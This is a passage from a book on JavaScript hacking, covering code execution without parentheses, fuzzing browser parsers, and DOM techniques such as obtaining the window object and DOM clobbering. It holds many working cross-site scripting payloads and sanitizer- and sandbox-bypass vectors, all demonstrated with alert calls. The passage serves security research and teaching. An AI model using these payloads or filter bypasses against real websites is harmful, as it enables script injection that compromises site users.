1 setTimeout.call`${alert}${0}${1337}`//doesn't work Illegal invocation

It doesn’t work and it’s because the “this” value is no longer the window object and setTimeout will
throw an illegal invocation error if that’s the case. If we try and use a string instead of placeholder
this will work fine because only the string is passed to the setTimeout function as the first argument
and the second and third will be omitted and the “this” value will be the window object:

1 setTimeout`alert\x281337\x29`

Our sub-goal here is to call any function using placeholders, we’ll somehow need to get around the
restriction of illegal invocation errors. To do that let’s look at ways of calling alert. We’ve seen you
can use onerror=alert to call it but what about some other ways. If you think about it you need a
JavaScript API that allows you to call a function by passing a reference to it, this would enable us
to call functions from placeholders. The first thing to do here is to inspect the various methods that
are available to us, you can do this using the console, a web app or custom inspector. I chose the
latter and used by Hackability Inspector tool that I wrote. I used the inspector to enumerate string
methods and remembered that the replace function allows you to use a function when a replacement
match is found. If I pass a reference to the alert function then maybe replace could be used to call
alert:

1 'a'.replace(/./,alert)//calls alert with a

This looks promising. We use a string of “a”, a regex to find it and then specify the alert function to
call when the match has been found. There are a couple of problems though, we use a regex and the
regex has to match and the match is what is sent to the function as an argument. Luckily the replace
function allows you to specify a string as well as a regex which means we could use the array of
matches in the tagged template as it will be converted to a string from an array:
Chapter two - JavaScript without parentheses 16

1 'a,'.replace`a${alert}`//calls alert with a,

That’s a bit weird. We need to pass the comma too because the arrays get converted into a string.
How can we get around that? One way is to use call to change the “this” value which means we
could control the match argument and we could use a regex to match any character:

1 'a'.replace.call`1${/./}${alert}`//calls alert with 1

What is happening above is the replace function is called with call, this assigns “this” to the tagged
template string matches of “1,”, we use a regex and because call is used we’ll pass this regex to the first
argument of the replace function and the regex matches any single character (excluding new lines)
then we pass the reference to the alert function which results alert being called with 1. Phew. That’s
pretty insane right? Who knew template strings could be abused in this way? A good challenge here
is can you call an alert with 1337 instead of 1.
You can call pretty much any function with this technique and any arguments by using the Reflect
object. So what exactly is the Reflect object? Well, it allows you to perform operations like a function
call, get/set operation on any object. It can be used instead of call and apply for instance because
it has a custom apply method that can be used to call functions on any object. You simply pass the
function, object and arguments you would like to call the function. As mentioned it can be used for
other operations too but for now let’s concentrate on the apply method:

1 Reflect.apply.call`${alert}${window}${[1337]}`//alert is called with 1337

Let’s break down what is happening here, we are passing the function we want to call in this case
“alert”, we’re passing the “this” value to that function in this case “window” which avoids the illegal
invocation error and finally we are passing an array of arguments we wish to pass the function.
“Call” is used to avoid passing an empty array of strings as the first argument as mentioned earlier.
The Reflect apply method doesn’t require a specific “this” value and will happily execute with any
object assigned to “this”.
We can do the same for other operations such as set. The set method of the Reflect object allows you
to perform a set operation on any object. It can be demonstrated by assigning to the location object:

1 Reflect.set.call`${location}${'href'}${'javascript:alert(1337)'}`
2 //assigns a javascript url

The set method requires a valid object in the first argument in this case “location”, a property in the
second argument and a value to assign in the third.
Chapter two - JavaScript without parentheses 17

Has instance symbol


The last method I want to discuss is using the has instance symbol. Symbols allow you to define a
unique token in property keys. They are a way of guaranteeing your key is unique. There are built
in symbols that you can use to perform various operations. JavaScript uses symbols in this way to
avoid using special properties that clash with existing code on the web. The “has instance” symbol
allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass
the left operand to the function defined by the symbol. This offers a neat way of executing JavaScript
without parentheses:

1 'alert\x281337\x29'instanceof{[Symbol['hasInstance']]:eval}//calls alert(1337)

In the example above we define our payload in the string before the instanceof operator and we
use a new object literal with the “hasInstance” symbol and assign the eval function, then when
the instanceof operator runs with the string and object, the string gets passed to eval and the alert
function will be called. You can use the symbol in this way without the square brackets:

1 'alert\x281337\x29'instanceof{[Symbol.hasInstance]:eval}//calls alert(1337)

Summary
This chapter showed you how to define a goal and subgoals within that goal. This enabled you
to learn various JavaScript features at a rapid pace and made sure you are not staring at a blank
screen. Having clear goals in mind helps you to focus on interesting features and ensure you are
constantly learning. In this chapter we learnt about the onerror handler and how to abuse it for
executing JavaScript without parentheses, we moved onto tagged template strings and uncovered
surprising behaviour of using placeholders to pass arguments to functions with their type and finally
we covered the “hasInstance” symbol and how to abuse it for JavaScript hacking.
Chapter three - Fuzzing
The truth
When it comes to fuzzing it’s often thought that you use it to discover exploitable vulnerabilities
or crashes. Certainly you can use fuzzing for that and I have found vulnerabilities in the past but
you can also use fuzzing to find browser behaviour and this is what this chapter is about. Fuzzing
will save you a lot of time and help you build your JavaScript knowledge very quickly. It’s often
tempting to look at a specification for your source of truth on a particular JavaScript behaviour, this
is an incorrect mindset because different browsers might have their own quirks that didn’t follow
the specification or they could be implemented incorrectly. I’m not saying don’t use the specification,
I’m just saying don’t believe it and use fuzzing to discover the truth.
My first foray into behavioural fuzzing was to find characters that were allowed in a JavaScript
protocol URL. I started off creating a JavaScript URL inside an anchor href attribute and was
manually injecting HTML entities and hovering over the link to see if it was still the JavaScript
protocol. I thought to myself there has got to be a better way. At the time I thought the best way
to do this would be in a server side programming language like PHP. So I constructed a fuzzing
tool that looped through characters in chunks and reported the results. This was back in 2008 and it
found loads of interesting results:

1 jav&#56325ascript:al&#56325ert(1)// used to work in Firefox 2!

This is a great example why you need fuzzing, you would have to manually edit over 56,000 entities
to find this bug. That’s also presuming you just want to test entities and not the raw characters! You
need fuzzing in your life to make things much easier. Back in 2008 computers were much slower than
they are now and I had a crappy slow laptop too so I had to do it in chunks, nowadays computers
and browsers are much faster, you can literally fuzz millions of characters in a few seconds.

Fuzzing JavaScript URLs


My approach to fuzzing has changed with a modern browser, I use innerHTML and DOM properties
now. You have to use both because there are different results as they follow different code paths. Let’s
say we want to fuzz JavaScript URLs in a modern browser, the first way is to use the DOM:
Chapter three - Fuzzing 19

1 log=[];
2 let anchor = document.createElement('a');
3 for(let i=0;i<=0x10ffff;i++){
4 anchor.href = `javascript${String.fromCodePoint(i)}:`;
5 if(anchor.protocol === 'javascript:') {
6 log.push(i);
7 }
8 }
9 console.log(log)//9,10,13,58

Let’s break down this rather simple code, first we create an array and anchor and the we loop through
all possible unicode code points (there are over 1,000,000) then we assign the href and insert our
codepoint using the String.fromCode point function and we place the character(s) after the javascript
string. The protocol property is used to check if the generated link is actually the JavaScript protocol.
Quite astonishingly the browser will complete the operation in seconds. if you are old like me and
remember when this sort of thing would just DoS the browser. Now to fuzz other parts of the href
we simply need to move the placeholder. Shall we fuzz the start of the JavaScript string? Change the
placeholder to:

1 anchor.href = `${String.fromCodePoint(i)}javascript:`;

When running that code again we get different results:

1 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,3\
2 1,32

A lot more characters, notice the NULL at the start (char code 0 is NULL when expressed as a
character), this is specific to the DOM code path. It will not work when using it in regular HTML.
This is why you have to fuzz both styles DOM and innerHTML. The first thing to do when you’ve
done a fuzz operation and have some interesting results is to verify them. This is easy to do, you
simply manually regenerate the DOM you fuzzed. So pick a code point at random and let’s generate
the DOM code for it and click it to confirm it works:

1 let anchor = document.createElement('a');


2 anchor.href = `${String.fromCodePoint(12)}javascript:alert(1337)`;
3 anchor.append('Click me')
4 document.body.append(anchor)

I picked codepoint 12 (form feed), created a JavaScript URL that calls alert, added some text to the
anchor and finally added it to the body element. When clicking the link it should call alert and now
you’ve verified that your fuzz code actually works. Try experimenting with the different codepoints
to ensure that it is working as intended. A couple of questions to ask yourself are “Can you use
Chapter three - Fuzzing 20

multiple characters?” or “Can you multiple characters at different positions?”. I’ll leave it to you as
an exercise to answer those questions.
One thing to remember when working with the DOM is that HTML entities are not decoded when
directly editing properties except for HTML based ones. So there’s no point using the href attribute
property trying to fuzz HTML entities. For that you’ll have to use innerHTML. Let’s try the same
character in HTML and see if it works:

1 <a href="&#12;javascript:alert(1337)">Test</a><!-- JavaScript protocol works -->

It works so generally where you see results for the DOM you can use them in HTML with entities.
As mentioned there was one exception, remember the NULL at the start? This works in the DOM
but not in HTML:

1 <a href="&#0;javascript:alert(1337)">Test</a><!-- JavaScript protocol doesn't work -\


2 ->

The above doesn’t work and this is why it’s important to verify your results and test it in the
DOM and in innerHTML or HTML. You can see here there’s plenty of opportunity for automation
here, using Puppeteer or another framework might be a good idea to verify your results instead of
manually doing it each time.

Fuzzing HTTP URLs


It’s possible to fuzz HTTP URLs too but instead of using the protocol you can use the hostname to
know if it was successful. You create a for loop as before to loop through the unicode code points and
inject the character into the “href” and then check that the hostname matches the expected value.

1 a=document.createElement('a');
2 log=[];
3 for(let i=0;i<=0x10ffff;i++){
4 a.href = `${String.fromCodePoint(i)}https://garethheyes.co.uk`;
5 if(a.hostname === 'garethheyes.co.uk'){
6 log.push(i);
7 }
8 }
9 console.log(log)
10 //0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30\
11 ,31,32

The above code finds that HTTP URLs support exactly the same characters as the start of a JavaScript
URL. Note again that the NULL character is supported in the DOM but not the HTML context. In
Chapter three - Fuzzing 21

order to find client-side open redirects that can be useful in bug chains, you might want to fuzz
protocol relative URLs. In case you don’t know protocol relative URLs allow you to reference an
external URL by using a double forward slash. They inherit the current protocol of the page for
example if the site is using HTTPS:// the protocol relative URL will use that protocol. Let’s fuzz the
inside of the forward slashes to see what characters are supported:

1 a=document.createElement('a');
2 log=[];
3 for(let i=0;i<=0x10ffff;i++){
4 a.href = `/${String.fromCodePoint(i)}/garethheyes.co.uk`;
5 if(a.hostname === 'garethheyes.co.uk'){
6 log.push(i);
7 }
8 }
9 input.value=log//9,10,13,47,92

As you can see you can place whitespace characters between the slashes and in addition the backslash
character can be used just like a forward slash.

Fuzzing HTML
We’ve seen how to fuzz JavaScript URLs but we can also take the same approach when fuzzing
HTML. By using the innerHTML API we can discover parser quirks extremely fast just like we did
with the DOM properties. Before you start it’s a good idea to ask yourself a question in your head
as a target for fuzzing. For example I asked myself “What characters are allowed in closing HTML
comments?”. To answer this question let’s think how to achieve it, if a HTML comment is closed
then the following tag after the comment must be rendered! Therefore we can simply check if that
HTML element is rendered using the querySelector API. Here’s how it’s done:

1 let log=[];
2 let div = document.createElement('div');
3 for(let i=0;i<=0x10ffff;i++){
4 div.innerHTML=`<!----${String.fromCodePoint(i)}><span></span>-->`;
5 if(div.querySelector('span')){
6 log.push(i);
7 }
8 }
9 console.log(log)//33,45,62

It’s very similar to the DOM properties fuzzing and you might notice it takes a little longer because
the browser has to do more work. We create a div element, loop through all the unicode codepoints
Chapter three - Fuzzing 22

again but this time use innerHTML to create a HTML comment, just before the closing greater than
we inject our unicode character, if the comment is closed the following span won’t be rendered
and therefore the querySelector for the span will be null. We want to know if the comment worked
so when the span element is found then we log the results. I tried this on Chrome and any of the
following characters close a comment after a double hyphen: !->
You can try this on other browsers and experiment by moving the placeholder to different parts of
the closing comment tag. I ran code very similar to this on Firefox a few years ago and found you
can use new lines before the greater than! It’s possible to use the querySelector the other way too,
you can check if a starting comment tag actually worked by checking that the following span wasn’t
rendered. Indeed I used this very technique to find another parsing flaw in Firefox that allowed you
to use NULLs inside the hyphens of an opening comment tag.

1 let log=[];
2 let div = document.createElement('div');
3 for(let i=0;i<=0x10ffff;i++){
4 div.innerHTML=`<!-${String.fromCodePoint(i)}- ><span></span>-->`;
5 if(!div.querySelector('span')){
6 log.push(i);
7 }
8 }
9 console.lgo(log)//45

It’s the same code as before except the placeholder is inside the starting comment tag and the
querySelector checks if the span doesn’t exist. You should get one result 45 for the hyphen character,
if you see more than that then you have a browser bug. One thing to remember when fuzzing like this
is to ensure your generated markup doesn’t create false positives, for instance you can see there’s a
very deliberate greater than after the space and hyphen. This is to prevent the span being consumed
as a different tag by the various fuzzing characters. It’s good to defensively code like this as it will
save you time.

Fuzzing known behaviours


If you don’t know where to start when fuzzing for new browser behaviour, you can always fuzz for
existing behaviour and see if there are any deviations. One good place to start is whitespace, you just
need to construct a fuzz string which will only occur if the character is whitespace. The best way I
found for this is to use a function call. You can have whitespace between the function identifier and
the parentheses, so you can define a function within a try catch block and attempt to call it with the
identifier and the added character with eval.
Chapter three - Fuzzing 23

1 function x(){}
2
3 log=[];
4 for(let i=0;i<=0x10ffff;i++){
5 try {
6 eval(`x${String.fromCodePoint(i)}()`)
7 log.push(i)
8 }catch(e){}
9 }
10
11 console.log(log)
12 //9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8\
13 232,8233,8239,8287,12288,65279

That’s a surprising amount of characters although this only proves whitespace can be used between
identifier and parentheses to do some comprehensive fuzzing you’d have to have various positions
for the character and more contexts. I’ll leave you to do that and test various browsers. If you find an
unexpected behaviour you could report it. What could you use these deviations for? Well, in the past
I’ve used them for JavaScript sandbox escapes since if you can fool parser into incorrectly lexing a
character as non whitespace when it is in fact it is then you can cause your JavaScript to be parsed
one way by the sandbox and another by the browser or NodeJS.
You can also use pairs of characters to fuzz things like strings, it will usually be around the same
speed to fuzz duplicate characters, things get slow when you use nested fuzzing. Maybe we have
to wait a few years until that is practical. Fuzzing for strings is pretty easy; you just need to use a
pair of characters and verify that string-like behaviour has happened. One way to do that is to use a
try catch block and an eval and see if a bunch of random characters don’t cause an exception when
using the pair of characters. This would indicate that there is string-like behaviour.

1 log=[];
2 for(let i=0;i<=0x10ffff;i++){
3 try {
4 eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`)
5 log.push(i)
6 }catch(e){}
7 }
8 console.log(log)//34,39,47,96

Were you expecting three characters? Can you think what other character will cause string-like
behaviour? Regexes of course you can use a pair of forward slashes to encapsulate the characters
and it won’t cause an exception because the characters will be treated as a regex. Chrome is pretty
fast with this operation but at the time of testing Firefox is dead slow.
Chapter three - Fuzzing 24

You can apply the logic above to fuzz for single line comments, instead of placing the placeholders at
the either end of the random string you can place them before to detect them. Next let’s find single
line comments:

1 log=[];
2 for(let i=0;i<=0x10ffff;i++){
3 try {
4 eval(`${String.fromCodePoint(i,i)}%$£234$`)
5 log.push(i)
6 }catch(e){}
7 }
8 console.log(log)//47

We detected a forward slash as expected. You can see there is a real skill in crafting fuzz vectors to
find interesting behaviour. You need to consider how the fuzz vector will be executed and in what
context to avoid false positives.
Finally in this chapter we’re going to cover nested fuzzing to find an interesting JavaScript comment
behaviour that you might not be aware of. Nested fuzzing is tricky to do because it involves way
more characters and currently modern browsers are not powerful enough to execute multiple for
loops with codepoints greater than 0xff. However if we reduce the amount of codepoints being tested
it can still find some interesting stuff.

1 log=[];
2 for(let i=0;i<=0xff;i++){
3 for(let j=0;j<=0xfff;j++){
4 try {
5 eval(`${String.fromCodePoint(i,j)}%$£234$`)
6 log.push([i,j])
7 }catch(e){}
8 }
9 }
10 console.log(log)//[35,33],[47,47]

We used two nested for loops this time, we had to limit the amount of characters as discussed for
performance reasons. Then I used the fromCodePoint method to add two characters one from code
points in each loop and added some junk after the characters to prove a comment was happening. We
add an array of both characters since both are required to produce a comment. We got an expected
double forward slash but what’s this? 35 and 33 which are “#!” they act as a single line comment
provided they are at the beginning of the executed JavaScript. You can verify your results by trying
to execute an alert with this comment in place.
Chapter three - Fuzzing 25

1 #!
2 alert(1337)//executes alert with 1337

If you add any character before the hash it will fail:

1 123
2 #!
3 alert(0)//alert will not be called.

In the example above if there are any characters before the hash the comment will not work. The
shebang was probably added as a comment sequence because of JavaScript being used as shell scripts
with NodeJS and so a common use case was to ignore it.

Fuzzing escapes
In my effort to break JavaScript sandboxes I ventured into fuzzing different escapes such as unicode
escapes discussed in the introduction chapter. This led me to find interesting behvaiour in various
browsers. I found in Safari it wouldn’t throw an exception when encountering unfinished unicode
escapes in strings. Old Opera (pre-Chromium) would also incorrectly parse unicode escapes when
sent to eval. These sort of behaviours can be used for sandbox escapes if you’re lucky but how do
we find them? Fuzzing of course! You just have to be aware of the context you’re fuzzing in and if
they require double encoding. Let’s fuzz a simple unicode escape:

1 let a = 123;
2 log=[];
3 for(let i=0;i<=0x10ffff;i++){
4 try{
5 eval(`\\u{${String.fromCodePoint(i)}0061}`);
6 log.push(i);
7 }catch(e){}
8 }
9 console.log(log)//48

In the code above I fuzz for all the unicode characters as previously earlier in the chapter. This time
I defined a variable “a” which is used to see if eval throws or not. Eval will throw an exception if
the code attempts to access an undefined variable. In this case we want to know if “a” is successfully
accessed or not. We use the unicode escape format of \u{} and you have to escape the backslash
because we want eval to interpret the unicode escape. In the placeholder we add our fuzz character.
When fuzzing all characters we get one result of “48” which is the character code for zero. So we
have determined that this unicode escape format allows zero padding all with pure fuzzing.
Chapter three - Fuzzing 26

Not only can you fuzz for characters you could also fuzz hex by changing the placeholder. Each
number literal has a toString method that allows you to specify the radix which will convert the
integer into the base specified from 2-36. Hexadecimal uses base 16 so we have to pass a radix of 16
to convert it to hex:

1 let a = 123;
2 log=[];
3 for(let i=0;i<=0x10ffff;i++){
4 try {
5 eval(`\\u{${i.toString(16)}}`);
6 log.push(i);
7 } catch(e){}
8 }
9 console.log(log)//97,105

The code above loops through all code points and converts the value to hex to see if the unicode
escape results in a reference to a variable. We have two results: charcodes 97 and 105 which are the
“a” and the “i” characters both declared by us. You can mix and match fuzz strings with characters
and hex to see if the JavaScript engine allows certain characters before, inside or after the hex value.
Let’s try that now and see if the JavaScript engine allows any character inside the hex value:

1 let a = 123;
2 log=[];
3 for(let i=0;i<=0x10ffff;i++){
4 try{
5 eval(`\\u{${String.fromCodePoint(i)}61}`);
6 log.push(i);
7 }catch(e){}
8 }
9 console.log(log)//48

The above code uses a placeholder to add a character before the hex value of the unicode escape. We
get a single result in Chrome which is character code 48 which is the number zero that is expected
but it’s worth trying on other browsers to see if you get the same results.

Summary
In this chapter I hope I’ve taught you a new skill of crafting fuzz vectors! We talked about not trusting
specifications and seeking your own ways of finding how JavaScript works. I showed you how to
use DOM properties to fuzz JavaScript and HTTP URLs. We looked at how you can use innerHTML
to discover how HTML is parsed. Finally we finished off with fuzzing known behaviours to find
Chapter three - Fuzzing 27

deviations and discovered a relatively unknown JavaScript single line comment. Followed by how
to fuzz unicode escapes using hex and inserting characters into the generated hex to determine if
the JavaScript engine allows whitespace or some other characters within the unicode escape.
Chapter four - DOM for hackers
Where’s my window?
In this chapter we are going to hack the DOM in order to understand it more and hopefully teach you
new techniques that you weren’t aware of. First up, the goal of this section is to get the window object
via the DOM. Why do we want a window? The window or global object in node are really important
for sandbox escape because they allow you to reach the globally defined functions such as eval which
allows you to execute arbitrary JavaScript that can then bypass sandboxes. There are many aliases for
the window object: frames, globalThis, parent, self, top. If your site isn’t framed then parent and top
will point to the window object, if it is framed then top will point to the top most window regardless
if it’s cross origin or not. “parent” as you’d expect points to the parent of the current framed page.
There is also a way to access the window object from a DOM node, document.defaultView stores a
reference to the current window object. Try it in your browser console:

1 document.defaultView.alert(1337)//calls alert with 1337

The code above calls the alert function by using the defaultView property of the document object to
get a reference to the window object. The defaultView property is only available on the document
object however there’s a trick to get the document object from a DOM node and then access the
defaultView property from the document. You can use a property called ownerDocument and as the
name suggests you can get the document object used by the DOM node:

1 let node = document.createElement('div');


2 node.ownerDocument.defaultView.alert(1337)

Many sandboxes have been broken using this knowledge since access to the “window” object is
normally blocked; these workarounds allow you to access it again.
Events are another way of obtaining a window object, when you use an event on a DOM node the
handler is defined with an event argument, this is to get round the fact back in the day when Internet
Explorer was widely popular it used a global called “event”. Modern browsers define the event as an
argument to the handler that way when the event is accessed it is a local variable. Interestingly the
global event object exists today too but it is deprecated. In Chrome there is a path property on each
error event and this is an array of objects that led to the creation of the event. The last element in
the array is the window object, you can obtain a window by simply reading it. The pop() function
comes in handy for this:
Chapter four - DOM for hackers 29

1 <img src onerror=event.path.pop().alert(1337)>

In other browsers you can use the standardised composedPath() method which returns an array
equivalent to the path property in Chrome. That means you can call the composedPath and get the
last element of the array and it will contain the window object in every browser:

1 <img src onerror=event.composedPath().pop().alert(1337)>

Remember when I said each handler adds an argument with the event object? There is a special case
for SVG elements. The browser doesn’t add “event” but rather “evt” which means you can access
the window object using this argument just like the path and composedPath() method:

1 <svg><image href=1 onerror=evt.composedPath().pop().alert(1337)>

To find this I didn’t read the Chrome source, instead I looked at the event handler’s code and saw
the definition in there. If you run this in Chrome you can see how the handler function is defined:

1 <svg><image href=1 onerror=alert(onerror)>

Which results in the following code:

1 function onerror(evt) {//event is referenced with evt


2 alert(onerror)
3 }

So evt points to the event. This seems to be the case for SVG elements but I wonder if there are
others? It’s worth spending some time to see if there are any more because they are useful when a
JavaScript sandbox protects you from accessing the event object.
To finish off this section I’m going to cover the Error object and how you can use prepareStackTrace
to get access to the window object on Chrome. Using the prepareStackTrace callback you can
customise stack traces which is super handy for developers. The idea is you provide a function
that has two arguments one for the error message and the other for an array of CallSite objects. A
CallSite object consists of properties and methods related to the stack trace. For example you’ve got
a isEval flag to determine if the current CallSite is called within an eval function but what we are
really interested in is how to get a window object. Thankfully Chrome provides us with a useful
method called getThis() on a CallSite object and this will return a window object if there’s no “this”
defined by the executing code. Let’s see it in action:
Chapter four - DOM for hackers 30

1 Error.prepareStackTrace=function(error, callSites){
2 callSites.shift().getThis().alert(1337);
3 };
4 new Error().stack

We define our callback method, the function simply gets the first CallSite object from the array of
CallSites, calls the getThis() function which returns the window object that we then use to access and
call the alert() function. The prepareStackTrace callback is only executed when the stack property
of the Error object is accessed.

Scope of a HTML event


When a JavaScript event is executed on a HTML element the browser scopes the executed function
with the element and the document object. This means you can use shortcuts by just specifying
properties of the current object or document object without the whole path to the property. In effect
the browser does the following:

1 with(document) {
2 with(element) {
3 //executed event
4 }
5 }

Remember that document property defaultView? We can actually use that within an event on its
own. So you can access the window object using just that property:

1 <img/src/onerror=defaultView.alert(1337)>

This works because of the “with” statement above. The browser executes the event and looks for
the defaultView property on the image element, it can’t find it there so now it checks the document
object and it does exist there so the document.defaultView property is accessed and returned. If you
enumerate the document object you can see which properties are available to you. You can do this
using a custom enumerator or simply use console.dir(document) in the browser console.
Because of the scoping of the event you can use other DOM functions too, here we can create a
script, append some code and add it to the document all without specifying the full document path:

1 <img/src/onerror=s=createElement('script');s.append('alert(1337)');appendChild(s)>

Notice that appendChild() is used in this instance because append will throw an exception if you
don’t specify the full path at least on Chrome. The append() function accepts a string or node. The
appendChild() function will actually be executed on the image object, document has a appendChild()
method but the image takes precedence so the script will be appended to the image object not the
document.
Chapter four - DOM for hackers 31

DOM clobbering
DOM clobbering is a technique that takes advantage of a coding pattern that checks for a global
variable and follows a different code path if it doesn’t exist. The idea is you clobber that global
variable that doesn’t exist with a DOM element most commonly the anchor element. Imagine you
have some code like this:

1 let url = window.currentUrl || 'http:///example.com';

This code example looks innocuous at first glance but actually window.currentUrl is controllable
via not only a global variable but a DOM element too. Back in the early days of web design it was
quite common for sites to use id attributes of form elements to refer to the element thanks to a
feature in Internet Explorer and Netscape that allowed the id or name attribute of the form element
to become a global variable as a shortcut for developers. This feature enables DOM clobbering. You
have probably seen some code that looks like this:

1 <form id=searchForm>
2 </form>
3 <script>
4 searchForm.submit()
5 </script>

The browser creates a global called “searchForm” and lets you use it to refer to the form without
using the getElementById() method. In addition you can use the “name” attribute to do the same
thing with one important difference, when using the “name” attribute you also define a property on
the document object:

1 <form id=x></form><form name=y></form>


2 <script>
3 alert(x)//[object HTMLFormElement]
4 alert(typeof document.x)
5 alert(y)//[object HTMLFormElement]
6 alert(document.y)//[object HTMLFormElement]
7 </script>

The two forms above both create global variables as you can see the “x” and “y” globals have
been clobbered with form elements. The second line of the JavaScript code checks if there is an
“x” property on the document but it is undefined because clobbered elements don’t add properties
to the document. The last line shows that document.y has been clobbered with the form element.
Only certain elements can use the name attribute to clobber globals, they are: embed, form, iframe,
image, img and object.
Chapter four - DOM for hackers 32

Anchor elements make DOM clobbering even more interesting because they allow you to use
the “href” attribute to change the value of the clobbered object. Normally when you use a form
element to clobber a variable you will get the toString value of the element itself e.g. [object
HTMLFormElement] but with anchor the toString will be the anchor “href”:

1 <a href="clobbered:1337" id=x></a>


2 <script>
3 alert(x);//clobbered:1337
4 alert(typeof x);//object
5 </script>

As you can see the global “x” contains the string “clobbered:1337” when accessed as a string. Notice
I said when accessed as a string, “x” is still an anchor object it’s just the toString of the anchor
object that returns the “href” of the element. Something else to be aware of when attempting DOM
clobbering is you can only get the value of known HTML attributes. For instance you can’t do
“x.notAnAttribute” whereas “x.title” is fine. I set myself a goal to break this rule many years ago and
it’s possible to use collections to get around this. DOM Collections are array-like objects that hold
HTML elements. I found you could use multiple elements with the same id or name and it would
form a collection. Then you could use another id or name (depending on what you originally used)
to clobber a second property. This is probably best illustrated by an example:

1 <a id=x>
2 <a id=x name=y href=clobbered:1337>
3 <script>
4 alert(x.y)//clobbered:1337
5 </script>

In the example above the two anchors share an id attribute with the same value “x”, this forms a
DOM collection, then the second anchor has a name attribute and because it’s a DOM collection
you can refer to items in the collection by name or index, in this case we’re referring to the second
anchor by name “y”. It’s quite possible to use a index too:

1 <a id=x>
2 <a id=x name=y href=clobbered:1337>
3 <script>
4 alert(x[1])//clobbered:1337
5 </script>

The above code gets the DOM collection with “x” and gets the second item in the collection
(collections are indexed from zero) which enables us to clobber x[1] with a value we can control.
With anchor elements it’s only possible to clobber properties two levels deep. Adding a third anchor
will create a collection but you can only reference the third anchor by index:
Chapter four - DOM for hackers 33

1 <a id=x>
2 <a id=x name=y href=clobbered:1>
3 <a id=x name=y href=clobbered:2>
4
5 <script>
6 alert(x[2])//clobbered:2
7 </script>

The above code creates a collection with three anchors and the third anchor is indexed using 2
because remember collections are indexed from zero. If I changed the third anchor to have a name
attribute of “z” this would not work because the name attribute doesn’t create a collection. If you
need to clobber three levels deep you have to use a different element such as form.

1 <form id=x name=y><input id=z></form>


2 <form id=x></form>
3 <script>
4 alert(x.y.z)
5 </script>

However, there’s a problem: As mentioned earlier you cannot control the toString of elements other
than anchors, so in this case “z” will be equal to "[object HTMLInputElement]". In order to clobber
properties more than three levels deep you have to use valid HTML attributes that are also valid
DOM properties:

1 <form id=x name=y><input id=z value=1337></form>


2 <form id=x></form>
3 <script>
4 alert(x.y.z.value)//1337
5 </script>

There is one exception to this rule using iframes. With iframes you can use the srcdoc and the name
attributes. What happens here is the window of the iframe has the clobbered value which means
you can chain together iframes and other elements to clobber as many levels deep as you want. The
only downside is iframe is likely blocked by a HTML filter.
This is best illustrated with an example. First we create the iframe and use the srcdoc attribute to
create an element inside the iframe:
Chapter four - DOM for hackers 34

1 <iframe name=foo srcdoc="<a id=bar href=clobbered:1337></a>"></iframe>


2 <script>
3 alert(foo)//[object Window]
4 alert(foo.bar)//undefined
5 </script>

The above example shows that “foo” has been clobbered but it’s been clobbered with the window
object of the iframe and because it’s the same origin it allows us to do further clobbering using
the inside of the iframe. But why is “foo.bar” undefined? This is because the iframe srcdoc takes
some time to render and there’s not enough time to render the contents of the frame and clobber
the property with the anchor element. Fortunately, I discovered a workaround, if you introduce a
cross-origin style import this creates enough delay for the element to be rendered inside the iframe:

1 <iframe name=foo srcdoc="<a id=bar href=clobbered:1337></a>"></iframe>


2 <style>
3 @import 'https://garethheyes.co.uk';
4 </style>
5 <script>
6 alert(foo)//[object Window]
7 alert(foo.bar)//clobbered:1337
8 </script>

Using this technique you can clobber as many properties as you like provided there is enough time
for them to render. There is a problem though, in order to specify nested iframe attributes you have
the limitation of using single and double quotes and once a specific quote has been used you can’t
use it again. The solution is to use HTML encoding, you can then encode the contents of the “srcdoc”
as many times as required. Yes you heard it right you can use HTML entities inside the “srcdoc” to
render HTML!
Let’s try and clobber five properties. First you need an iframe with a name attribute with the first
property name and a double quoted “srcdoc”. Then another iframe for the second property with
“srcdoc” attribute in single quotes to create another nested iframe which creates the third property.
After that we create “srcdoc” without quotes to create our clobbered anchors. Because we are using
nested “srcdocs” we have to HTML encode the amount of times the iframe is nested for. We need
the style block again to give the iframes time to render and after all that we can clobber a.b.c.d.e!

1 <iframe name=a srcdoc="


2 <iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\
3 clobbered:1337&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></ifram
4 e>
5 <style>@import '//garethheyes.co.uk';</style>
6 <script>
7 alert(a.b.c.d.e)//clobbered:1337
8 </script>
Chapter four - DOM for hackers 35

Filter exploitation
There are other ways of exploiting DOM clobbering, controlling the value is just one way of
exploitation. You can clobber the attributes property of a DOM node to fool a filter into removing no
attributes at all. Consider the following example which shows a form element with three attributes,
the script loops through the attributes from the last to the first and checks if it begins with “on” if it
does it removes the attribute:

1 <form id=x onclick=alert(1) onmouseover=alert(2)>


2 <input>
3 </form>
4 <script>
5 for(let i=document.getElementById('x').attributes.length-1;i>=0;i--) {
6 let attribute = document.getElementById('x').attributes[i];
7 if(!/^on/i.test(attribute.name)){
8 continue;
9 }
10 document.getElementById('x').removeAttribute(attribute.name);
11 }
12 </script>

The script removes the attributes by looping through all the attributes using the attributes property,
unfortunately this property can be clobbered by providing a child node with a name of “attributes”.
What happens then is the script uses the clobbered input as the attributes property and the length of
that element is undefined and therefore the loop will not iterate anything. This allows an attacker
to sneak their malicious events in and break the filtering.
You are not limited to attributes, other DOM properties like tagName/nodeName are clobberable,
imagine you have a block list filter that removes certain tags such as form. You can inject a form
with an input element that has a name attribute with tagName or nodeName. When a filter accesses
the tagName or nodeName it will instead access the clobbered input and therefore return the wrong
value:

1 <form id=x>
2 <input name=nodeName>
3 </form>
4 <script>
5 alert(document.getElementById('x').nodeName)//[object HTMLInputElement]
6 </script>

Even properties like parentNode are not safe. You can clobber it just like the others which will
return the incorrect parentNode for a form element. If you had a DOM based filter that traversed
elements using DOM properties such as parentNode, nextSibling, previousSibling etc. Your filter
would traverse the wrong elements and filter the incorrect DOM nodes.
Chapter four - DOM for hackers 36

Clobbering document.getElementById()
This is a technique I found recently where you can actually clobber the results of a docu-
ment.getElementById() call. If you have an element with the id of “x” and another element with
